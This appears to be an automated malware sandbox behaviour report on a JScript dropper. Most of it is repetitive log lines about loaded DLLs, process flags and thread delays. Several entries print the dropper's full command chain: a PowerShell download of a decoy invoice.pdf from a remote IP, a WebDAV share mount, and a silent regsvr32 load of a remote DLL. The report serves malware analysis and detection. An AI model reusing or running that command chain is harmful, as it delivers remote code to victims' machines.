Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3759.js.csv");ITextStream.WriteLine(" entry:9161 f:qbyke");ITextStream.WriteLine(" exec:2 f:qbyke");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6216			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3269			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4524	Thread sleep count: 6216 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4524	Thread sleep count: 3269 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6348	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6512	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 744	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2000	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5552	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7120	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.3320861693.0000022698E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: wscript.exe, 00000000.00000002.2043281060.0000013C0ED95000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000003.2088237445.000001D2CDBE7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2088614646.000001D2CDB88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2088680447.000001D2CDBE7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3321740987.000002269E454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

